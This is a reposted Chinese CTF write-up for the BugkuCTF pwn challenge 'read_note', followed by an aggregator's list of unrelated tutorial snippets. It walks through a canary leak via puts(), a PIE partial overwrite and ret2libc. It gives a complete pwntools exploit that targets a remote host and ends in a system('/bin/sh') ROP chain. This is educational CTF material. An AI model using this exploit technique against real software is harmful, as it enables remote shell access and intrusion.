BugkuCTF-PWN题pwn3-read_note超详细讲解

知识点

puts()的特性 , puts()会一直输出某地址的数据,直到遇到 \x00

Canary最低位为\x00(截断符)

\x 和 0x 的区别:
区别不大,都是把数按16进制输出。
1、0x 表示整型数值 (十六进制)
char c = 0x42; 表示的是一个数值(字母B的ASCII码66),可以认为等价于: int c = 0x42;
2、\x42用于字符表达,或者字符串表达
char c = ‘\x42’; 亦等价于: char c = 0x42;
char* s = “\x41\x42”; //表示字符串:AB

程序编译的时候入口并不是main函数,而是start代码段。事实上,start代码段还会调用__libc_start_main来做一些初始化工作,最后调用main函数并在main函数结束后做一些处理。

解题流程

先运行一下看看在这里插入图片描述
一开始会让你输入一个路径,不存在的话就会报错退出,然后打印出文件内容,然后分别输入note的长度和内容,输入内容的长度取决于之前的note长度;如果实际输入的长度不是624,则再输入一遍

查看保护机制
在这里插入图片描述
发现除了RELRO,其他保护机制全开
在这里插入图片描述
在这里插入图片描述

此题难点:

第一要读懂题目找出漏洞
第二是要绕过各类保护机制
第三是exp的编写调试。

第一要读懂题目找出漏洞

首先分析程序,重要部分如下所示。一开始会让你输入一个路径,不存在的话就会报错退出,然后打印出文件内容;以上均可以忽略,没有任何用处。然后分别输入note的长度和内容,输入内容的长度取决于之前的note长度;如果实际输入的长度不是624,则再输入一遍,此时输入内容的长度变为0x270(624)。可以发现,v4的长度为0x258(600),而输入的长度可以任意控制,因此存在栈溢出。
在这里插入图片描述

第二是要绕过各类保护机制

确定了漏洞所在,下一个问题就是如何绕过NX、Canary、PIE和ASLR等保护机制了,下面一个个来说。
1.NX很简单,ROP即可。

2.Canary会很大程度上妨碍栈溢出,但结合本题的环境,输入一次后紧接着一个puts函数将输入内容打印出来,然后还有一次输入的机会,因此可以在第一次输入时,通过覆盖Canary最低位的\x00为其他值(Canary最低位肯定为\x00,而puts()会一直输出直到碰见\x00位置),让puts()泄露出Canary的内容,第二次输入时再将正确的Canary写回去,就可以绕过Canary的保护了。

3.PIE会让程序加载的基地址随机化,但是随机化并不完全,最低三位是不会改变的,可以利用这个特性,通过覆盖最低的两位来有限的修改程序控制流,然后再泄露出程序加载地址。

4.至于ASLR,利用ret2libc的方法,泄露出libc的版本,就可以算出system等函数的地址然后get shell了。

第三是exp的编写调试

通过以上的分析,由于需要泄露三个内容,因此main函数需要执行四次,每次执行都会有两次输入,每次执行的工作分别如下:

第一次执行

需要在填满v4的长度600后,再溢出两个十六进制位(64位计算机一个地址是8个字节),覆盖Canary的最低位,然后将Canary打印出来;再次输入时,将正确的Canary放在原来的位置,然后溢出栈上返回地址的低两位为\x20。为什么是\x20,是因为从ida里可以发现,vul函数最后retn的地址为0xd1f,main函数的起始地址是0xd20,前面的偏移都是相同的,因此可以通过这类方法绕过PIE再跳回main。
在这里插入图片描述
在这里插入图片描述
如图D2E为main的返回地址

第二次执行

在填满600的基础上,需要再多溢出两个地址位数(64位计算机一个地址是8个字节),也就是616。从栈分布可以看出,v4之后是Canary(0x7fffffffde88处),然后再填充一个地址位,就可以输出main+14的真实地址,也就可以得到程序加载的地址。之后使用跟之前同样的方法,再次回到main函数的起始位置。
在这里插入图片描述

第三次执行

要溢出的就是__libc_start_main的真实地址了,作为main函数的返回地址,从上图可以看出,可以从栈上泄露__libc_start_main+240的地址,依次利用LibcSearcher算出libc版本,然后得到system地址和/bin/sh字符串的地址。此时已经具备了get shell的条件,但由于第二次输入的长度所限,因此还要再跳回main函数,再次执行程序。
在这里插入图片描述

第四次执行

将payload拼接好,然后发给程序了。由于是64位,传参需要rdi。通过ROPgadget搜索程序二进制,发现存在pop rdi;ret;的gadget,将其偏移再加上第二步得到的程序加载基地址,就可以得到gadget的真实地址,至此,payload拼接完成,可以拿到shell了。
在这里插入图片描述
exp:

from pwn import *
from LibcSearcher import *
#sh = process('./file/read_note')   #本地调试
sh = remote('114.116.54.89',10000)
#context.log_level = 'debug'pop_rdi_ret = 0x0000000000000e03
#-----------------------------------------------------------------------------------------------------------
#第一次
log.info('first time')
sh.sendlineafter('Please input the note path:', 'flag')   #在接受到Please input the note path:后才发送~/Desktop + \n
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')   #直到接收到please input the note:为止payload1 = 'a'*600
sh.sendline(payload1)   #发送一行数据,相当于在末尾加\n
sh.recvuntil('a'*600)   #直到接收到600个a为止
#绕过canary方法一:
canary = u64(sh.recv(8))-0xa
log.info('Canary: '+hex(canary))#绕过canary方法二:
#canary1=u64(b'\x00'+sh.recv(7))#绕过canary方法三:
#canary2 = u64(sh.recv(7).rjust(8,b'\x00'))sh.recvuntil('so please input note(len is 624)')   #直到接收到so please input note(len is 624)为止payload1 = b'a'*600 + p64(canary) + p64(1) + b'\x20'
print(payload1)
sh.send(payload1)
#-----------------------------------------------------------------------------------------------------------
#第二次
log.info('second time')
sh.sendlineafter('Please input the note path:', 'flag')   #在接受到Please input the note path:后才发送~/Desktop + \n
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')   #直到接收到please input the note:为止payload2 = 'a'*616
sh.send(payload2)   #发送payload2里的数据
sh.recvuntil('a'*616)   #直到接收到616个a为止
main_addr = u64(sh.recv()[0:6] + b'\x00\x00') - 0xe   #D2E为main的返回地址
log.info('main_addr: ' + str(hex(main_addr)))base = main_addr - 0xd20
pop_rdi_ret_addr = base + pop_rdi_ret
log.info('base addr:'+str(hex(base)))payload2 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
sh.send(payload2)#-----------------------------------------------------------------------------------------------------------
#第三次
log.info('third time')
sh.sendlineafter('Please input the note path:', 'flag')
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')elf = ELF('./file/read_note')   #ELF模块用于获取ELF文件的信息,通过ELF()获取这个文件的句柄,然后通过这个句柄调用plt函数获取PLT的地址
start_plt = elf.plt['__libc_start_main']
print("start_plt: " + hex(start_plt))payload3 = 'a'*648
sh.send(payload3)
sh.recvuntil('a'*648)
libc_start_addr = u64(sh.recv()[0:6] + b'\x00\x00') - 240
log.info('__libc_start_main:'+str(hex(libc_start_addr)))libc = LibcSearcher('__libc_start_main', libc_start_addr)
log.info('libc: ' + str(libc))
libc_base = libc_start_addr - libc.dump('__libc_start_main')#libc.dump(“xxx”) 可以计算出xxx的偏移地址,再libc_start_addr减去偏移地址就得到了libc_base的基址
log.info('libc_base: ' + str(libc_base))
system_addr = libc_base + libc.dump('system')#通过基址加system的偏移,得到system的实际地址
log.info('system_addr' + str(system_addr))
binsh_addr = libc_base + libc.dump('str_bin_sh')#通过基址加/bin/sh字符串的偏移,得到/bin/sh的实际地址
log.info('binsh_addr: ' + str(binsh_addr))payload3 = 'a'*600 + p64(canary) + p64(1) + p64(main_addr)
sh.send(payload3)#-----------------------------------------------------------------------------------------------------------
#最后一次
log.info('fourth time')
sh.sendlineafter('Please input the note path:', 'flag') #在接受到Please input the note path:后才发送~/Desktop + \n
sh.sendlineafter('please input the note len:', '1000')
sh.recvuntil('please input the note:')payload4 = 'a'*600 + p64(canary) + p64(1) + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sh.send(payload4)
sh.recvuntil('so please input note(len is 624)')
sh.send(payload4)
sh.interactive()

运行结果

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由于本题有bug,建立连接后直接输入flag,出现flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525219.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python bytearray 函数 - Python零基础入门教程

目录 一.Python bytearray 函数简介二.Python bytearray 函数使用三.bytearray 与 bytes 区别 1. bytes 不可变字节序列2.bytearray 可变字节序列 四.猜你喜欢 基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入门 Python 除了 bytes 字节序列 之外&#xf…

文末有福利 | 停不下来!程序员在GitHub上开源了一个自制表情包项目

世界上本没有表情包,脑洞大的人多了,便有了表情包,如今,大家伙聊天都离不开表情包,但是手头上很多时候表情包根本不够用,所以市面上就有很有App、小程序可以帮助你制作专属你的表情包而程序员在这方面就有个…

BugkuCTF-Crypto题把猪困在猪圈里

下载file.txt文件 在给的内容头部添加data:image/jpg;base64, 将base64编码转为图片 然后下载图片: 百度猪圈密码,得到flag 注意:猪圈密码flag小写

面趣 | 那些面试没过的程序员,都去了哪里?答案真的挺励志

年底又到裁员季,那些还在挣扎着找工作的小伙伴,现在怎么样了?很好奇,那些没有面试成功的朋友最后都去了哪里?尤其是程序员这一庞大群体。有人给出的答案是,不存在“没有通过一个公司的面试,那以…

dos输入java Hello,出现错误: 找不到或无法加载主类 Hello

分析:classpath没有配置正确,在最前面加上.; 备注:英文的点和分号 重新cmd进去,输java Hello,解决。

Python chr 函数 - Python零基础入门教程

目录 一.Python chr 函数简介二.Python chr 函数使用三.猜你喜欢 零基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入门 一.Python chr 函数简介 在 Python中 ord 函数可以字符作为参数,返回对应的 ascll 码; 其中内置函数 chr 与…

BugkuCTF-Crypto题贝斯家

密文&#xff1a;iH<,{bdR2H;i6*Tm,Wx2izpx2! 本题要点&#xff1a;base91转码 看到贝斯家… 那么这串字符一定为BASE系列的了 常见的都是base64/base32/base16…和这串字符好像都不太形似 base91的编码原理 base91是将二进制数据编码为ASCII字符的高级方法。 它类似于UUe…

web前端 到底怎么学?掌握什么可以拿到高薪?

web前端到底怎么学&#xff1f;那么在讲 web前端怎么学 这个大命题之前呢&#xff0c;依据我本人的尿性&#xff0c;还是得先把你拉入坑&#xff0c;让你在坑里好好学 O(∩_∩)Oweb前端的历史渊源 和一些出处&#xff0c;童鞋们大概都有所了解了。下面我们进入【相爱】阶段&…

Python reduce 函数 - Python零基础入门教程

目录 一.Python reduce 函数简介 1.reduce 函数语法2.reduce 函数原理 二.Python reduce 函数使用 1.reduce 函数普通使用2.reduce 函数配合匿名函数使用3.reduce 函数设置可选参数 initial 三.猜你喜欢 零基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入…

标识符命名规则

规则&#xff1a;可以由大小写字母&#xff0c;下划线&#xff08;_&#xff09;&#xff0c;$组成&#xff0c;不能由数字&#xff0c;非法字符#&#xff0c;-&#xff0c;\等组成 比喻String 12abc"s"; String -a"d"; String #g"F"; 三者都…

BugkuCTF-Crypto题缝合加密

下载文件&#xff0c;打开 fence:栅栏 看组成规律&#xff0c;很明显和键盘有关系&#xff0c;但是第一租的qwedc既不能组成一个字母或数字&#xff0c;也没有围住一个字母或者数字&#xff0c;但是结合前面提到的pig&#xff0c;推测这里是猪圈密码 第一组的qwedc对应的是 …

Python locals 函数 - Python零基础入门教程

目录 一.locals 函数语法二.locals 函数使用三.猜你喜欢 零基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入门 一.locals 函数语法 Python 内置函数 locals 比较简单&#xff0c;直接以字典 dict 的形式返回当前位置的所有局部变量&#xff0c;语法如下&…

数据类型方面

基本&#xff1a;byte&#xff08;1字节-128~127&#xff09;&#xff0c;short&#xff08;2&#xff09;&#xff0c;int&#xff08;4&#xff09;&#xff0c;long&#xff08;8&#xff09;&#xff0c;boolean&#xff08;1位&#xff09;&#xff0c;char&#xff08;2&…

腾讯员工用漫画自述悲惨职场经历,网友大呼:社会巨婴

最近微博上有几组“漫画”火了&#xff0c;但是却引发了巨大的争议&#xff0c;漫画作者微博昵称为“知春鹿可不这么想”&#xff0c;作者自称是腾讯的实习生&#xff0c;并通过漫画的形式描述着自己秋招、面试、实习等生活状态。这是其中一篇漫画。很多网友直接说出作者就是一…

BugkuCTF-Crypto题告诉你个秘密

描述: 636A56355279427363446C4A49454A7154534230526D6843 56445A31614342354E326C4B4946467A5769426961453067 观察发现为十六进制转字符 点击十六进制转字符 发现有大写有小写还有数字 推测是base64&#xff1a; base64解密网站https://ctf.bugku.com/tool/base64 可以在后面…

Python globals 函数 - Python零基础入门教程

目录 一.Python globals 函数语法二.Python globals 函数使用三.猜你喜欢 零基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入门 在前面我们讲解了 Python 内置函数 locals &#xff0c;内置函数 locals 直接以字典的形式返回当前位置的所有局部变量&#…

BugkuCTF-Crypto题简单加密

题目&#xff1a; e6Z9i]8RUQHE{RnY{QXgQnQ{XVlRXlpXI5Q6Q6SKY8jUAA 看起来很像base64&#xff0c;但是有一些字符不在base64加密字符的范围&#xff0c;由最后两个AA&#xff0c;猜测是偏移ascii码之后的结果。 偏移4位 打开密码机器下载版.htm 点击凯撒移位 输入密文 点击-4&…

AWS Lambda重大更新,跨越编程语言差异之门?

戳蓝字“CSDN云计算”关注我们哦&#xff01;北京时间11月30日凌晨&#xff0c;在美国拉斯维加斯召开的AWS re: Invent 2018上&#xff0c;和往年一样&#xff0c;AWS CTO WernerVogels博士又发布了AWS多项重要的更新&#xff0c;包括数据库、编程工具、架构等多个方面&#xf…

Python max 函数 - Python零基础入门教程

目录 一.Python max 函数简介二.Python max 函数使用三.猜你喜欢 基础 Python 学习路线推荐 : Python 学习目录 >> Python 基础入门 一.Python max 函数简介 max 函数返回给定参数的最大值&#xff0c;参数可以为序列语法&#xff1a; # 返回值&#xff1a;返回参数中…

类型转换拓展

package com.company; public class Demo5 { public static void main(String[] args) { System.out.println("类型转换"); System.out.println("byte 1字节>short 2,char 2》int 4>long 8>float 4>double 8小数高于整数的&qu…